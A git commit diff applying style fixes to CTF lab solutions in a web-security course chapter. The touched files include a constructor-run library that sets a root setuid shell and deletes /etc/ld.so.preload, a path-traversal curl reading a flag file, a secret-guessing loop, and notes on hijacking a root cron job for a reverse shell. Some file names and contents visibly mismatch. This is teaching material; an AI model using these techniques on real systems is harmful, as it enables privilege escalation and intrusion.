10-end-to-end-chapter/drills: fix checkpatch

Fix checkpatch errors from drills/ files.

Signed-off-by: David Bors <borsdavid@proton.me>

Author: David Bors

chapters/web-application-security/10-end-to-end/drills/brooklyn-nine-nine/sol/index.md

@@ -1,5 +1,5 @@
 # 'Brooklyn-Nine-Nine' box writeup
-## Brooklyn Nine Nine is a CTF box written by Fsociety2006 and available on the [TryHackMe](https://tryhackme.com/) platform.
+## Brooklyn-Nine-Nine is a CTF box written by Fsociety2006 and available on the [TryHackMe](https://tryhackme.com/) platform.
 ## Read about [Less Command](https://linuxize.com/post/less-command-in-linux/) and [Privilege Escalation using find, vim, less or bash](https://pentestlab.blog/category/privilege-escalation/)
 # ![bg](images/background.jpeg?raw=true "Title")
 

chapters/web-application-security/10-end-to-end/drills/dav/sol/index.md

@@ -12,7 +12,7 @@
 
 # ![nmap](images/nmap_dirb_scan.jpg?raw=true "nmap")
 
-+ **Let's run a gobuster search too and see our results. It seems that a webdav service is runnning**
++ **Let's run a gobuster search too and see our results. It seems that a webdav service is running**
 
 ``gobuster dir -u http://10.10.62.166/ -w /usr/share/wordlists/dirb/common.txt``
 

chapters/web-application-security/10-end-to-end/drills/madness/sol/utils/lib_shell.c

@@ -1,3 +1,4 @@
+//  SPDX-License-Identifier: BSD-3-Clause
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
@@ -7,8 +8,8 @@ __attribute__ ((__constructor__))
 
 void libshell(void)
 {
-    chown("/tmp/root_sh", 0, 0);
-    chmod("/tmp/root_sh", 04755);
-    unlink("/etc/ld.so.preload");
-    printf("[+] shell loaded!\n");
+	chown("/tmp/root_sh", 0, 0);
+	chmod("/tmp/root_sh", 04755);
+	unlink("/etc/ld.so.preload");
+	printf("[+] shell loaded!\n");
 }

chapters/web-application-security/10-end-to-end/drills/madness/sol/utils/root_sh.c

@@ -1,3 +1,4 @@
+//  SPDX-License-Identifier: BSD-3-Clause
 #include <stdio.h>
 #include <sys/types.h>
 #include <unistd.h>

chapters/web-application-security/10-end-to-end/drills/madness/sol/utils/secret_guess.sh

@@ -1,10 +1,11 @@
 #!/bin/bash
+#  SPDX-License-Identifier: BSD-3-Clause
 
 for i in {0..99}
 do
         # modify the ip address below and the hidden directory that you found
         curl --silent http://10.10.94.80/x/?secret=$i | grep right >> /dev/null
-        
+
         if [ $? -eq 0 ]
         then
                 echo "$i is our SECRET page"

…nd/drills/overpass/sol/images/modfiy.jpg …nd/drills/overpass/sol/images/modify.jpgchapters/web-application-security/10-end-to-end/drills/overpass/sol/images/modfiy.jpg renamed to chapters/web-application-security/10-end-to-end/drills/overpass/sol/images/modify.jpg chapters/web-application-security/10-end-to-end/drills/overpass/sol/images/modfiy.jpg renamed to chapters/web-application-security/10-end-to-end/drills/overpass/sol/images/modify.jpg

@@ -94,7 +94,7 @@ async function login() {
 
 + **What if we can run our own script on this machine? If we modify the overpass.thm domain into our local machine domain, we can host locally a python server and upload maybe a python script which get us a reverse shell. The respective script is executed by root so we're gonna get a root shell**
 
-# ![12](images/modfiy.jpg?raw=true "modify")
+# ![12](images/modify.jpg?raw=true "modify")
 
 **Next step is to create a similar path with the /etc/crontab curl get request from the host - */downloads/src/buildscript.sh*. Let's do this into our local machine and we're gonna host the server into our home directory**
 

chapters/web-application-security/10-end-to-end/drills/overpass/sol/index.md

@@ -1,4 +1,5 @@
 #!/bin/bash
+#  SPDX-License-Identifier: BSD-3-Clause
 
 PORT=8080
 
@@ -19,4 +20,4 @@ else
     URL=$1':'$2
 fi
 
-curl $URL/cgi-bin/.%2e/.%2e/.%2e/.%2e/home/ctf/flag.txt
+curl $URL/cgi-bin/.%2e/.%2e/.%2e/.%2e/home/ctf/flag.txt

chapters/web-application-security/10-end-to-end/drills/walker/sol/solution.sh

@@ -1,4 +1,5 @@
-import requests, urllib3, sys
+#  SPDX-License-Identifier: BSD-3-Clause
+import requests, sys
 
 if len(sys.argv) != 3:
     print(f"Usage: python3 {sys.argv[0]} https://host shell.jsp")